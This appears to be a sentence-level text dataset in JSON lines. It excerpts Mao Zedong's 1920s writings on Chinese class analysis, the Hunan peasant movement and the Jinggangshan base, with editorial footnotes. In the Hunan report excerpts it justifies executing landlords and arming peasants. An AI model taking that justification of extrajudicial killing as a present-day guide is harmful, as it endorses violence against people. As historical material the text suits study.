    {"text": "〔11〕 《我的情报与外交生涯》，作者熊向晖是参加过一二九运动的老共产党员，长期从事我党地下工作，一九三七年七月抗日战争爆发，遵照周恩来的指示，到国民党胡宗南将军的部队“服务”，曾担任任胡宗南将军的侍从副官、机要秘书。"},
    {"text": "〔12〕 《毛泽东思想万岁》：是一九六八年武汉群众组织翻印的，为了区别其它的版本和说明来源，姑且定名为“六八年汉版《毛泽东思想万岁》”。"},
    {"text": "中产阶级主要是指民族资产阶级，他们对于中国革命具有矛盾的态度：他们在受外资打击、军阀压迫感觉痛苦时，需要革命，赞成反帝国主义反军阀的革命运动；"},
    {"text": "但是当着革命在国内有本国无产阶级的勇猛参加，在国外有国际无产阶级的积极援助，对于其欲达到大资产阶级地位的阶级的发展感觉到威胁时，他们又怀疑革命。"},
    {"text": "但是这个阶级的企图——实现民族资产阶级统治的国家，是完全行不通的，因为现在世界上的局面，是革命和反革命两大势力作最后斗争的局面。"},
    {"text": "这一部分人比较第一部分人大不相同，他们也想发财，但是赵公元帅总不让他们发财，而且因为近年以来帝国主义、军阀、封建地主、买办大资产阶级的压迫和剥削，他们感觉现在的世界已经不是从前的世界。"},
    {"text": "对于反帝国主义反军阀的运动，仅怀疑其未必成功（理由是：洋人和军阀的来头那么大），不肯贸然参加，取了中立的态度，但是绝不反对革命。"},
    {"text": "但到战时，即到革命潮流高涨、可以看得见胜利的曙光时，不但小资产阶级的左派参加革命，中派亦可参加革命，即右派分子受了无产阶级和小资产阶级左派的革命大潮所裹挟，也只得附和着革命。"},
    {"text": "半无产阶级。 此处所谓半无产阶级，包含：（一）绝大部分半自耕农 〔10〕 ，（二）贫农，（三）小手工业者，（四）店员 〔11〕 ，（五）小贩等五种。"},
    {"text": "半自耕农、贫农和小手工业者所经营的，都是更细小的小生产的经济。 绝大部分半自耕农和贫农虽同属半无产阶级，但其经济状况仍有上、中、下三个细别。 半自耕农，其生活苦于自耕农，因其食粮每年大约有一半不够，须租别人田地，或者出卖一部分劳动力，或经营小商，以资弥补。"},
    {"text": "小手工业者所以称为半无产阶级，是因为他们虽然自有简单的生产手段，且系一种自由职业，但他们也常常被迫出卖一部分劳动力，其经济地位略与农村中的贫农相当。"},
    {"text": "工业无产阶级人数虽不多，却是中国新的生产力的代表者，是近代中国最进步的阶级，做了革命运动的领导力量。 我们看四年以来的罢工运动，如海员罢工 〔12〕 、铁路罢工 〔13〕 、开滦和焦作煤矿罢工 〔14〕 、沙面罢工 〔15〕 以及“五卅”后上海香港两处的大罢工 〔16〕 所表现的力量，就可知工业无产阶级在中国革命中所处地位的重要。"},
    {"text": "他们在各地都有秘密组织，如闽粤的“三合会”，湘鄂黔蜀的“哥老会”，皖豫鲁等省的“大刀会”，直隶及东三省的“在理会”，上海等处的“青帮” 〔17〕 ，都曾经是他们的政治和经济斗争的互助团体。"},
    {"text": "当时党内的第一种倾向，以陈独秀为代表，只注意同国民党合作，忘记了农民，这是右倾机会主义。 第二种倾向，以张国焘为代表，只注意工人运动，同样忘记了农民，这是“左”倾机会主义。"},
    {"text": "一九二五年随着孙中山的逝世和革命高潮的到来，他歪曲孙中山学说的革命内容，散布反对国共合作、反对工农革命运动的谬论，为后来蒋介石的反共活动作了准备。"},
    {"text": "〔4〕 一九二二年和一九二三年间，孙中山在共产党人的帮助下，决定改组国民党，实行国共合作，容纳共产党人参加国民党，并于一九二四年一月在广州召开国民党第一次全国代表大会，实行联俄、联共、扶助农工的三大政策。"},
    {"text": "一九二五年五月间，上海、青岛的日本纱厂先后发生工人罢工的斗争，遭到日本帝国主义和北洋军阀的镇压。 上海内外棉第七厂日本资本家在五月十五日枪杀了工人顾正红，并伤工人十余人。"},
    {"text": "五月三十日，上海二千余学生分头在公共租界各马路进行宣传讲演，一百余名遭巡捕（租界内的警察）逮捕，被拘押在南京路老闸巡捕房内，引起了学生和市民的极大愤慨，有近万人聚集在巡捕房门口，要求释放被捕学生。"},
    {"text": "一九二四年七月，统治沙面的帝国主义者颁布新警律，规定沙面的中国人出入租界必须携带贴有本人相片的执照，在租界内行动必须受各种苛刻的限制，但是外国人却可以自由出入活动。"},
    {"text": "前者有二十多万工人参加，坚持了三四个月； 后者有二十五万工人参加，坚持了一年零四个月，是截至当时为止的世界工人运动史中时间最长的一次罢工。"},
    {"text": "随着工人阶级力量的壮大和中国共产党的成立，农民和手工业工人在共产党的领导之下逐步地建立了完全新式的群众组织，这类落后的团体就失掉了它们的存在价值。"},
    {"text": "湖南农民运动考察报告 湖南农民运动考察报告 * （一九二七年三月） 农民问题的严重性 我这回到湖南 〔1〕 ，实地考察了湘潭、湘乡、衡山、醴陵、长沙五县的情况。"},
    {"text": "如湘潭、湘乡、浏阳、长沙、醴陵、宁乡、平江、湘阴、衡山、衡阳、耒阳、郴县、安化等县，差不多全体农民都集合在农会的组织中，都立在农会领导之下。"},
    {"text": "在农会威力之下，土豪劣绅们头等的跑到上海，二等的跑到汉口，三等的跑到长沙，四等的跑到县城，五等以下土豪劣绅崽子则在乡里向农会投降。"},
    {"text": "现在有些地方的农民便拿了这事吓那些从前反对农会的人：“把他们入另册！ ” 那些人怕入另册，便多方设法求入农会，一心要想把他们的名字写上那农会的册子才放心。"},
    {"text": "“糟得很”，明明是站在地主利益方面打击农民起来的理论，明明是地主阶级企图保存封建旧秩序，阻碍建设民主新秩序的理论，明明是反革命的理论。"},
    {"text": "第一，上述那些事，都是土豪劣绅、不法地主自己逼出来的。 土豪劣绅、不法地主，历来凭借势力称霸，践踏农民，农民才有这种很大的反抗。 凡是反抗最力、乱子闹得最大的地方，都是土豪劣绅、不法地主为恶最甚的地方。"},
    {"text": "农村中须有一个大的革命热潮，才能鼓动成千成万的群众，形成一个大的力量。 上面所述那些所谓“过分”的举动，都是农民在乡村中由大的革命热潮鼓动出来的力量所造成的。"},
    {"text": "”这种议论，和右派的话是一个意思，都是说农运可做（因农民运动已起来，无人敢说不可做），但是现在做农运的人不行，尤其痛恨下级农民协会办事人，说他们都是些“痞子”。"},
    {"text": "”在这样的形势之下，富农才慢慢地进了农会 〔9〕 ，有些是缴过五角钱或一块钱（本来只要一百钱）入会费的，有些是托人说情才邀了农会允许的。"},
    {"text": "全然无业，即既无土地，又无资金，完全失去生活依据，不得不出外当兵，或出去做工，或打流当乞丐的，都是“赤贫”，占百分之二十。 半无业，即略有土地，或略有资金，但吃的多，收的少，终年在劳碌愁苦中过生活的，如手工工人、佃农（富佃除外）、半自耕农 〔10〕 等，都是“次贫”，占百分之五十。"},
    {"text": "所有最下一级农民协会的委员长、委员，在第一第二两个时期中，几乎全数是他们（衡山县乡农民协会职员，赤贫阶层占百分之五十，次贫阶层占百分之四十，穷苦知识分子占百分之十）。"},
    {"text": "这只能叫做“少数不良分子”，决不能跟着土豪劣绅的口白，笼统地骂“痞子”。 要解决这“少数不良分子”的问题，也只能在农会整顿纪律的口号之下，对群众做宣传，对他们本人进行训练，把农会的纪律整好，决不能随便派兵捉人，损害贫农阶级的威信，助长土豪劣绅的气势。"},
    {"text": "像湘潭、湘乡、衡山这样的县，差不多所有的农民都组织起来了，几乎没有哪一只“角暗里”的农民没有起来，这是第一等。 有些县，农民组织起来了一大部分，尚有一小部分没有组织，如益阳、华容等县，这是第二等。 有些县，农民组织起来了一小部分，大部分尚未组织起来，如城步、零陵等县，这是第三等。 湘西一带，在袁祖铭 〔12〕 势力之下，农会宣传未到，许多县的农民还全未组织起来，这是第四等。"},
    {"text": "第二件 政治上打击地主 农民有了组织之后，第一个行动，便是从政治上把地主阶级特别是土豪劣绅的威风打下去，即是从农村的社会地位上把地主权力打下去，把农民权力长上来。"},
    {"text": "但是醴陵等县，尚有一部分地方（如醴陵之西南两区），表面上地主权力低于农民权力，实际上因为政治斗争不激烈，地主权力还隐隐和农民权力对抗。"},
    {"text": "这样的清算运动，在农民运动起来的各县做得很普遍，意义不重在追回款子，重在宣布土豪劣绅的罪状，把土豪劣绅的政治地位和社会地位打下去。"},
    {"text": "例如宁乡的杨致泽，岳阳的周嘉淦，华容的傅道南、孙伯助，是农民和各界人民督促政府枪毙的。 湘潭的晏容秋，则是农民和各界人民强迫县长同意从监狱取出，由农民自己动手枪毙的。"},
    {"text": "这样的大劣绅、大土豪，枪毙一个，全县震动，于肃清封建余孽，极有效力。 这样的大土豪劣绅，各县多的有几十个，少的也有几个，每县至少要把几个罪大恶极的处决了，才是镇压反动派的有效方法。"},
    {"text": "长沙新康镇团防局长何迈泉，办团十年，在他手里杀死的贫苦农民将近一千人，美其名曰“杀匪”。 我的家乡湘潭县银田镇团防局长汤峻岩、罗叔林二人，民国二年以来十四年间，杀人五十多，活埋四人。"},
    {"text": "以前土豪劣绅的残忍，土豪劣绅造成的农村白色恐怖是这样，现在农民起来枪毙几个土豪劣绅，造成一点小小的镇压反革命派的恐怖现象，有什么理由说不应该？"},
    {"text": "” 第四件 推翻土豪劣绅的封建统治 ——打倒都团 旧式的都团（即区乡）政权机关，尤其是都之一级，即接近县之一级，几乎完全是土豪劣绅占领。"},
    {"text": "“都”管辖的人口有一万至五六万之多，有独立的武装如团防局，有独立的财政征收权如亩捐 〔13〕 等，有独立的司法权如随意对农民施行逮捕、监禁、审问、处罚。"},
    {"text": "农民对政府如总统、督军 〔14〕 、县长等还比较不留心，这班乡里王才真正是他们的“长上”，他们鼻子里哼一声，农民晓得这是要十分注意的。"},
    {"text": "农民运动发展区域之中南两路，因农民起来形势甚猛，地主阶级招架不住，其武装势力大部分投降农会，站在农民利益这边，例如宁乡、平江、浏阳、长沙、醴陵、湘潭、湘乡、安化、衡山、衡阳等县。"},
    {"text": "这样由反动的地主手里拿过来的武装，将一律改为“挨户团常备队” 〔16〕 ，放在新的乡村自治机关——农民政权的乡村自治机关管理之下。 这种旧武装拿过来，是建设农民武装的一方面。 建设农民武装另有一个新的方面，即农会的梭镖队。"},
    {"text": "湖南的革命当局，应使这种武装力量确实普及于七十五县二千余万农民之中，应使每个青年壮年农民都有一柄梭镖，而不应限制它，以为这是可以使人害怕的东西。"},
    {"text": "出席的人，县长以外，为县农民协会、县总工会、县商民协会、县女界联合会、县教职员联合会、县学生联合会以及国民党县党部 〔17〕 的代表们。"},
    {"text": "第七件 推翻祠堂族长的族权和城隍土地 菩萨的神权以至丈夫的男权 中国的男子，普通要受三种有系统的权力的支配，即：（一）由一国、一省、一县以至一乡的国家系统（政权）；"},
    {"text": "夫权这种东西，自来在贫农中就比较地弱一点，因为经济上贫农妇女不能不较富有阶级的女子多参加劳动，所以她们取得对于家事的发言权以至决定权的是比较多些。"},
    {"text": "但是现在时期，农民的精力集中于破坏地主的政治权力这一点。 要是地主的政治权力破坏完了的地方，农民对家族神道男女关系这三点便开始进攻了。 但是这种进攻，现在到底还在“开始”，要完全推翻这三项，还要待农民的经济斗争全部胜利之后。 因此，目前我们对农民应该领导他们极力做政治斗争，期于彻底推翻地主权力。 并随即开始经济斗争，期于根本解决贫农的土地及其他经济问题。"},
    {"text": "若用过大的力量生硬地勉强地从事这些东西的破坏，那就必被土豪劣绅借为口实，提出“农民协会不孝祖宗”、“农民协会欺神灭道”、“农民协会主张共妻”等反革命宣传口号，来破坏农民运动。"},
    {"text": "打倒帝国主义，打倒军阀，打倒贪官污吏，打倒土豪劣绅，这几个政治口号，真是不翼而飞，飞到无数乡村的青年壮年老头子小孩子妇女们的面前，一直钻进他们的脑子里去，又从他们的脑子里流到了他们的嘴上。"},
    {"text": "比如有一群小孩子在那里玩吧，如果你看见一个小孩子对着另一个小孩子鼓眼蹬脚扬手动气时，你就立刻可以听到一种尖锐的声音，那便是：“打倒帝国主义！"},
    {"text": "” 湘潭一带的小孩子看牛时打起架来，一个做唐生智，一个做叶开鑫 〔19〕 ，一会儿一个打败了，一个跟着追，那追的就是唐生智，被追的就是叶开鑫。"},
    {"text": "据农村工作同志的报告，政治宣传在反英示威、十月革命纪念和北伐胜利总庆祝这三次大的群众集会时做得很普遍。 在这些集会里，有农会的地方普遍地举行了政治宣传，引动了整个农村，效力很大。"},
    {"text": "“洋学堂”，农民是一向看不惯的。 我从前做学生时，回乡看见农民反对“洋学堂”，也和一般“洋学生”、“洋教习”一鼻孔出气，站在洋学堂的利益上面，总觉得农民未免有些不对。"},
    {"text": "这些公款，县教育局要提了办国民学校即是那不合农民需要的“洋学堂”，农民要提了办农民学校，争议结果，各得若干，有些地方是农民全得了。"},
    {"text": "〔3〕 辛亥革命是以孙中山为首的资产阶级革命团体同盟会所领导的推翻清朝专制王朝的革命。 一九一一年（辛亥年）十月十日，革命党人发动新军在湖北武昌举行起义，接着各省响应，外国帝国主义所支持的清朝反动统治迅速瓦解。"},
    {"text": "随着时代的不同，三民主义的内容有新旧的区别。 旧三民主义是中国旧民主主义革命的纲领。 一九二四年一月，孙中山接受共产党人的建议，在中国国民党第一次全国代表大会上，对三民主义重新作了解释，旧三民主义从此发展为新三民主义。 新三民主义包含联俄、联共、扶助农工的三大政策和反对帝国主义、反对封建主义的纲领，是第一次国内革命战争时期中国共产党同国民党合作的政治基础。"},
    {"text": "〔14〕 督军是北洋军阀统治时期管辖一省的军事首脑。 督军大都总揽全省的军事政治大权，对外勾结帝国主义，对内实行地方性的封建军事割据，是一省范围内的独裁者。"},
    {"text": "〔17〕 当时在武汉国民党中央领导下的各地国民党县党部，很多是属于执行孙中山联俄、联共、扶助农工三大政策的组织，是共产党人、左派国民党员和其他革命分子的革命联盟。"},
    {"text": "毛泽东在这里是借来比喻共产党人应当善于教育和启发农民，使农民自觉地去破除迷信和其他不良的风俗习惯，而不是不顾农民的觉悟程度，靠发号施令代替农民去破除。"},
    {"text": "* （一九二八年十月五日） 一 国内的政治状况 现在国民党新军阀的统治，依然是城市买办阶级和乡村豪绅阶级的统治，对外投降帝国主义，对内以新军阀代替旧军阀，对工农阶级的经济的剥削和政治的压迫比从前更加厉害。 从广东出发的资产阶级民主革命，到半路被买办豪绅阶级篡夺了领导权，立即转向反革命路上，全国工农平民以至资产阶级 〔1〕 ，依然在反革命统治底下，没有得到丝毫政治上经济上的解放。"},
    {"text": "从广东出发向长江发展的一九二六年到一九二七年的革命，因为无产阶级没有坚决地执行自己的领导权，被买办豪绅阶级夺取了领导，以反革命代替了革命。"},
    {"text": "中国的民主革命的内容，依国际及中央的指示，包括推翻帝国主义及其工具军阀在中国的统治，完成民族革命，并实行土地革命，消灭豪绅阶级对农民的封建的剥削。"},
    {"text": "二 中国红色政权 〔6〕 发生和 存在的原因 一国之内，在四围白色政权的包围中，有一小块或若干小块红色政权的区域长期地存在，这是世界各国从来没有的事。"},
    {"text": "第一，它的发生不能在任何帝国主义的国家，也不能在任何帝国主义直接统治的殖民地 〔7〕 ，必然是在帝国主义间接统治的经济落后的半殖民地的中国。"},
    {"text": "不但全世界帝国主义国家没有一国有这种现象，就是帝国主义直接统治的殖民地也没有一处有这种现象，仅仅帝国主义间接统治的中国这样的国家才有这种现象。"},
    {"text": "因为有了白色政权间的长期的分裂和战争，便给了一种条件，使一小块或若干小块的共产党领导的红色区域，能够在四围白色政权包围的中间发生和坚持下来。"},
    {"text": "第二，中国红色政权首先发生和能够长期地存在的地方，不是那种并未经过民主革命影响的地方，例如四川、贵州、云南及北方各省，而是在一九二六和一九二七两年资产阶级民主革命过程中工农兵士群众曾经大大地起来过的地方，例如湖南、广东、湖北、江西等省。"},
    {"text": "第三，小地方民众政权之能否长期地存在，则决定于全国革命形势是否向前发展这一个条件。 全国革命形势是向前发展的，则小块红色区域的长期存在，不但没有疑义，而且必然地要作为取得全国政权的许多力量中间的一个力量。 全国革命形势若不是继续地向前发展，而有一个比较长期的停顿，则小块红色区域的长期存在是不可能的。"},
    {"text": "所以虽有很好的工农群众，若没有相当力量的正式武装，便决然不能造成割据局面，更不能造成长期的和日益发展的割据局面。 所以“工农武装割据”的思想，是共产党和割据地方的工农群众必须充分具备的一个重要的思想。 第五，红色政权的长期的存在并且发展，除了上述条件之外，还须有一个要紧的条件，就是共产党组织的有力量和它的政策的不错误。"},
    {"text": "本年四月以前乘时而起的许多红色政权，如广州、海陆丰、湘赣边界、湘南、醴陵、黄安各地，都先后受到白色政权的摧残，就是这个道理。 四月以后湘赣边界的割据，正值南方统治势力暂时稳定的时候，湘赣两省派来“进剿”的军队，随时都有八九个团以上的兵力，多的到过十八个团。 然而我们以不足四个团的兵力和敌人斗争四个月之久，使割据地区一天一天扩大，土地革命一天一天深入，民众政权的组织一天一天推广，红军和赤卫队一天一天壮大，原因就在于湘赣边界的共产党（地方的党和军队的党）的政策是正确的。"},
    {"text": "八月失败，完全在于一部分同志不明了当时正是统治阶级暂时稳定的时候，反而采取统治阶级政治破裂时候的战略，分兵冒进，致边界和湘南同归失败。"},
    {"text": "湖南省委代表杜修经同志不察当时环境，不顾特委、军委及永新县委联席会议的决议，只知形式地执行湖南省委的命令，附和红军第二十九团逃避斗争欲回家乡的意见，其错误实在非常之大。"},
    {"text": "四 湘赣边界的割据局面在 湘鄂赣三省的地位 以宁冈为中心的湘赣边界工农武装割据，其意义决不限于边界数县，这种割据在湘鄂赣三省工农暴动夺取三省政权的过程中是有很大的意义的。"},
    {"text": "使红军从斗争中日益增加其数量和提高其质量，能在将来三省总的暴动中执行它的必要的使命； 使各县地方武装即赤卫队和工农暴动队的数量增加质量提高起来，此时能够与挨户团和小量军队作战，将来能够保全边界政权； 使地方工作人材逐渐减少依靠红军中工作人材的帮助，能完全自立，以边界的人材任边界的工作，进一步能够供给红军的工作人材和扩大割据区域的工作人材——这些都是边界党在湘鄂赣三省暴动发展中极其重要的任务。"},
    {"text": "一年以来，边界政权割据的地区，因为敌人的严密封锁，食盐、布匹、药材等日用必需品，无时不在十分缺乏和十分昂贵之中，因此引起工农小资产阶级 〔13〕 群众和红军士兵群众的生活的不安，有时真是到了极度。"},
    {"text": "这种困难，在全国总政权没有取得以前当然是不能免的，但是这种困难的比较地获得解决，使生活比较地好一点，特别是红军的给养使之比较地充足一点，则是迫切地需要的。"},
    {"text": "永新、酃县、宁冈、遂川四县交界的大小五井山区，和永新、宁冈、茶陵、莲花四县交界的九陇山区，这两个地形优越的地方，特别是既有民众拥护、地形又极险要的大小五井，不但在边界此时是重要的军事根据地，就是在湘鄂赣三省暴动发展的将来，亦将仍然是重要的军事根据地。"},
    {"text": "〔1〕 毛泽东在这里指的是民族资产阶级。 毛泽东在一九三五年十二月作的《论反对日本帝国主义的策略》和一九三九年十二月作的《中国革命和中国共产党》中，对于买办大资产阶级与民族资产阶级的区别，曾作了详细的说明。"},
    {"text": "〔4〕 一九二八年五月济南惨案发生及蒋介石公开对日妥协之后，曾经追随蒋介石参加一九二七年反革命政变的民族资产阶级，有一部分因为自己的利益，开始逐步形成蒋介石政权的在野反对派，他们既不满意蒋介石政权的大地主、大资产阶级的反革命统治，又反对无产阶级领导的人民民主革命。"},
    {"text": "苏维埃即代表会议，是俄国工人阶级在一九○五年革命时创造的一种政治制度。 列宁根据马克思主义的原理，从巴黎公社和一九○五年俄国革命的经验中，得出这样的结论：苏维埃是工农革命政府的最好的组织形式，是从资本主义到社会主义的过渡时期中最适当的国家政权的组织形式。 一九一七年俄国十月社会主义革命，在布尔什维克党的领导下，第一次在世界上建立了无产阶级专政的社会主义的苏维埃共和国。 在中国，一九二七年革命失败以后，中国共产党以毛泽东为代表所领导的各地人民革命起义，即以代表会议为工农民主政权的组织形式。 但是，这时的中国革命仍然处于民主革命阶段，这种政权的性质，是无产阶级领导的反帝反封建的工农民主专政，同苏联的无产阶级专政的政权性质是有区别的。 〔7〕 在第二次世界大战期间，原来属于英、美、法、荷各帝国主义统治下的东方许多殖民地，被日本帝国主义者所占领，那里的工人、农民、城市小资产阶级群众及民族资产阶级分子在共产党领导下，利用英、美、法、荷各帝国主义与日本帝国主义的矛盾，组织了反法西斯侵略的广泛统一战线，建立了抗日根据地，进行了艰苦的抗日游击战争，已开始改变了第二次世界大战以前的政治情况。 第二次世界大战结束，日本帝国主义被逐出，英、美、法、荷各帝国主义企图继续原来的殖民地统治，但各殖民地人民已在抗日战争中锻炼出了一种相当有力的武装力量，他们不愿意照旧生活下去； 而由于苏联的强大，由于除美国以外的一切帝国主义国家在战争中或被推翻或被削弱，更由于中国革命的胜利使帝国主义阵线在中国被突破，因而使整个帝国主义制度已在世界上发生很大的动摇。 这样，就使东方各殖民地至少是某些殖民地的人民也和中国差不多一样地有可能长期坚持大小不一的革命根据地和革命政权，有可能长期坚持由乡村包围城市的革命战争，并有可能由此逐步推进而取得城市、取得该殖民地全国范围内的胜利。"},
    {"text": "在湖南省东部，一九二七年九月，起义的农民曾经占据过浏阳、平江、醴陵、株洲一带，醴陵农民并于一九二八年二三月间建立过农村革命政权。 湖北省东北部的黄安（今红安）、麻城等地的起义农民，曾经在一九二七年十一月占领黄安县城，建立革命政权二十多天。 在湖南省南部，一九二八年一月，宜章、郴县、耒阳、永兴、资兴等县的起义农民，建立过革命政权达三月之久。"},
    {"text": "四五月间，第四军在遂川的五斗江、永新的草市坳和永新城，先后打败江西国民党军队的第二、三次“进剿”。 六月二十三日，红四军在宁冈、永新交界的七溪岭和龙源口地区，打败江西敌军第四次“进剿”。 江西的国民党军队在遭到多次失败以后，又联合湖南的国民党反动派，调集四个师的兵力，对井冈山发动第一次“会剿”。"},
    {"text": "〔14〕 大小五井山区就是指介于江西西部的永新、宁冈、遂川和湖南东部的酃县四县之间的井冈山，井冈山上有大井、小井、上井、中井、下井等地。"},
    {"text": "井冈山的斗争 井冈山的斗争 * （一九二八年十一月二十五日） 湘赣边界的割据和八月失败 一国之内，在四围白色政权的包围中间，产生一小块或若干小块的红色政权区域，在目前的世界上只有中国有这种事。"},
    {"text": "在统治阶级内部发生破裂时期，例如两湖在李宗仁唐生智战争时期 〔1〕 ，广东在张发奎李济深战争时期 〔2〕 ，我们的战略可以比较地冒进，用军事发展割据的地方可以比较地广大。"},
    {"text": "这时在军事上最忌分兵冒进，在地方工作方面（分配土地，建立政权，发展党，组织地方武装）最忌把人力分得四散，而不注意建立中心区域的坚实基础。"},
    {"text": "有些同志在统治阶级政权暂时稳定的时期，也主张分兵冒进，甚至主张只用赤卫队 〔3〕 保卫大块地方，好像完全不知道敌人方面除了挨户团 〔4〕 之外还有正式军队集中来打的一回事。"},
    {"text": "如果遇到什么人在军事方面主张采取逐步推广的政策，在地方工作方面主张集中力量建立中心区域的坚实基础，以求自立于不败之地，则谥之曰“保守主义”。"},
    {"text": "开头，各县完全没有了党的组织，地方武装只袁文才、王佐各六十枝坏枪在井冈山附近，永新、莲花、茶陵、酃县四县农民自卫军枪枝全数缴给了豪绅阶级，群众革命情绪已经被压下去了。"},
    {"text": "四月以后，湘赣边界的割据，正值南方统治势力暂时稳定的时候，湘赣两省派来“进剿”的反动军队，至少有八九个团，多的时候到过十八个团。"},
    {"text": "然而我们以不足四个团的兵力，和敌人斗争了四个月之久，使割据地区一天一天扩大，土地革命一天一天深入，民众政权一天一天推广，红军和赤卫队一天一天扩大，原因就在于边界党（地方的党和军队的党）的政策是正确的。"},
    {"text": "因为这些策略的适当，加以边界地形的利于斗争，湘赣两省进攻军队的不尽一致，于是才有四月至七月四个月的各次军事胜利 〔6〕 和群众割据的发展。"},
    {"text": "八月失败，完全在于一部分同志不明了当时正是统治阶级暂时稳定时期，反而采取在统治阶级破裂时期的政策，分兵向湘南冒进，致使边界和湘南同归失败。 湖南省委代表杜修经和省委派充边界特委书记的杨开明，乘力持异议的毛泽东、宛希先诸人远在永新的时候，不察当时的环境，不顾军委、特委、永新县委联席会议不同意湖南省委主张的决议，只知形式地执行湖南省委向湘南去的命令，附和红军第二十九团（成分是宜章农民）逃避斗争欲回家乡的情绪，因而招致边界和湘南两方面的失败。 原来七月中旬，湖南敌人第八军吴尚侵入宁冈，再进永新，求战不得（我军从间道出击不值），畏我群众，仓卒经莲花退回茶陵。 这时红军大队正由宁冈进攻酃县、茶陵，并在酃县变计折赴湘南，而江西敌人第三军王均、金汉鼎部五个团，第六军胡文斗部六个团，又协力进攻永新。 此时我军只有一个团在永新，在广大群众的掩护之下，用四面游击的方式，将此十一团敌军困在永新县城附近三十里内至二十五天之久。"},
    {"text": "六月二十三日龙源口（永新宁冈交界）一战，第四次击破江西敌人之后，我区有宁冈、永新、莲花三个全县，吉安、安福各一小部，遂川北部，酃县东南部，是为边界全盛时期。"},
    {"text": "然而山区是敌人始终无法夺取的，这在宁冈有西北两区，在永新有北乡的天龙区、西乡的小江区、南乡的万年山区，在莲花有上西区，在遂川有井冈山区，在酃县有青石冈和大院区。"},
    {"text": "四周从拿山起经龙源口（以上永新）、新城、茅坪、大陇（以上宁冈）、十都、水口、下村（以上酃县）、营盘圩、戴家埔、大汾、堆子前、黄坳、五斗江、车坳（以上遂川）到拿山，共计五百五十里。"},
    {"text": "山上大井、小井、上井、中井、下井、茨坪、下庄、行洲、草坪、白银湖、罗浮各地，均有水田和村庄，为自来土匪、散军窟宅之所，现在作了我们的根据地。"},
    {"text": "此时期内，贫农因长期地被摧残及感觉革命胜利无保障，往往接受中间阶级的意见，不敢积极行动。 必待进至革命高涨，如得了全县甚至几县政权，反动军队几次战败，红军的威力几次表现之后，农村中才有对于中间阶级的积极行动。"},
    {"text": "但是无论哪一县，封建的家族组织十分普遍，多是一姓一个村子，或一姓几个村子，非有一个比较长的时间，村子内阶级分化不能完成，家族主义不能战胜。"},
    {"text": "因为敌人的严密封锁和我们对小资产阶级的处理失当这两个原因，两区几乎完全断绝贸易，食盐、布匹、药材等项日常必需品的缺乏和昂贵，木材、茶油等农产品不能输出，农民断绝进款，影响及于一般人民。"},
    {"text": "中国豪绅军阀的分裂和战争若不是继续进行的，全国革命形势若不是向前发展的，则小块地区的红色割据，在经济上将受到极大的压迫，割据的长期存在将成问题。"},
    {"text": "民主集中主义的制度，一定要在革命斗争中显出了它的效力，使群众了解它是最能发动群众力量和最利于斗争的，方能普遍地真实地应用于群众组织。"},
    {"text": "没有代表大会作依靠的执行委员会，其处理事情，往往脱离群众的意见，对没收及分配土地的犹豫妥协，对经费的滥用和贪污，对白色势力的畏避或斗争不坚决，到处发现。"},
    {"text": "委员会也很少开全体会，遇事由常委处决。 区乡两级政府则常委会也少开，遇事由主席、秘书、财务或赤卫队长（暴动队长）各自处理决定，这四个人是经常驻会的。"},
    {"text": "支部上为区委，区委上为县委。 区委县委之间因特别情况有组织特别区委的，如永新的北乡特区及东南特区。 边区共有宁冈、永新、莲花、遂川、酃县五个县委。 茶陵原有县委，因工作做不进去，去冬今春建设的许多组织大部被白色势力打塌了，半年以来只能在靠近宁冈永新一带的山地工作，因此将县委改为特别区委。"},
    {"text": "十月四日起开会三天，通过了《政治问题和边界党的任务》等决议，选举了谭震林、朱德、陈毅、龙超清、朱昌偕、刘天干、盘圆珠、谭思聪、谭兵、李却非、朱亦岳、袁文才、王佐农、陈正人、毛泽东、宛希先、王佐、杨开明、何挺颖等十九人为第二届特委会的委员。"},
    {"text": "前委是十一月六日重新组织的，依中央的指定，以毛泽东、朱德、地方党部书记（谭震林）、一工人同志（宋乔生）、一农民同志（毛科文）五人组成，毛泽东为书记。"},
    {"text": "一方面有少数小块地方的红色政权，一方面全国人民还没有普通的民权，工人农民以至民权派的资产阶级，一概没有言论集会的权利，加入共产党是最大的犯罪。"},
    {"text": "三月湖南特委的代表到宁冈，批评我们太右，烧杀太少，没有执行所谓“使小资产变成无产，然后强迫他们革命”的政策，于是改变原来前委的领导人，政策一变。"},
    {"text": "中央要我们发布一个包括小资产阶级利益的政纲，我们则提议请中央制订一个整个民权革命的政纲，包括工人利益、土地革命和民族解放，使各地有所遵循。"},
    {"text": "北段地势不如中段可进可守，又太迫近了大的政治都会，如果没有迅速夺取长沙或武汉的计划，则以大部兵力放在浏阳、醴陵、萍乡、铜鼓一带是很危险的。 南段地势较北段好，但群众基础不如中段，政治上及于湘赣两省的影响也小些，不如中段一举一动可以影响两省的下游。"},
    {"text": "第三次袁德生又来，相隔不过十天，这次信上除骂了我们一大篇外，却主张红军向湘东去，又说是“绝对正确”的方针，而且又要我们“毫不犹豫”。"},
    {"text": "设七月无去湘南一举，则不但可免边界的八月失败，且可乘国民党第六军和王均战于江西樟树之际，击破永新敌军，席卷吉安、安福，前锋可达萍乡，而与北段之红第五军取得联络。"},
    {"text": "为红军计，欲求扩大，只有在有群众基础的井冈山四周即宁冈、永新、酃县、遂川四县，利用湘赣两敌利害不一致，四面防守，无法集中的情况，和敌人作长期的斗争。"},
    {"text": "以士兵论，因军阀们把向边界“剿匪”当做一件大事，“剿匪经年，耗费百万”（鲁涤平），“人称二万，枪号五千”（王均），如此等类的话，逐渐引起敌军士兵和无出路的下级官长对我们注意，自拔来归的将日益增多，红军扩充，又是一条来路。"},
    {"text": "一九四七年新式整军运动开始以后，在人民解放军中，根据红军时期和新式整军运动中的经验，又在连队中建立过干部领导的士兵会和士兵委员会的制度。"},
    {"text": "这些部队在潮州、汕头一带失败后，一部分到达海陆丰地区，继续在广东坚持斗争，另一部分由朱德、陈毅等率领退出广东，经福建、江西，转入湖南南部，会合当地农军举行湘南起义，开展苏维埃运动。"},
    {"text": "在进军途中，由于中共湖南省委传达了中共中央撤退农军的命令，其他各县工农武装都向后撤退，只有浏阳农军未接到命令，一直攻到长沙城下，遭到失败后撤退。"},
    {"text": "九月又与国民革命军第四集团军第二方面军总指挥部警卫团、安源工人武装等合编为工农革命军第一军第一师，在毛泽东领导下，于修水、铜鼓、平江、浏阳一带举行秋收起义。"},
    {"text": "〔11〕 一九二八年初，朱德、陈毅率部在湘南开展革命游击战争，原来农民运动有基础的宜章、郴县、耒阳、永兴、资兴五县，这时都组织了农军。"},
